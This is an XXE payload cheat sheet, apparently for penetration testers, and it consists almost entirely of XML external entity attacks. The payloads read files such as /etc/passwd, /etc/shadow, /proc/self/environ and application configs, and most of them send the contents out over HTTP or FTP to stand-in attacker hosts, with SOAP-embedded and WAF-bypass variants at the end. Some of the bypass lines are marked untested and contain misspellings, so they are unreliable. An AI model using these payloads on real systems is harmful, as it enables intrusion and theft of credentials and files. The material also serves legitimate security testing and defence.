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XXE Payloads
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Vanilla, used to verify outbound xxe or blind xxe
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<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
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Vanilla object extraction
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<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY someEntityName SYSTEM "file:///etc/passwd">
]>
<r>&someEntityName</r>
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OoB extraction
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<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
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OoB variation of above (seems to work better against .NET)
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<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
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OoB extraction
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<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
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OoB extra ERROR -- Java
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<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
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OoB extra nice
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">
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File-not-found exception based extraction
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<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: &#x25;
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FTP
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<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
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Inside SOAP body
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<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
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Untested - WAF Bypass
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<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
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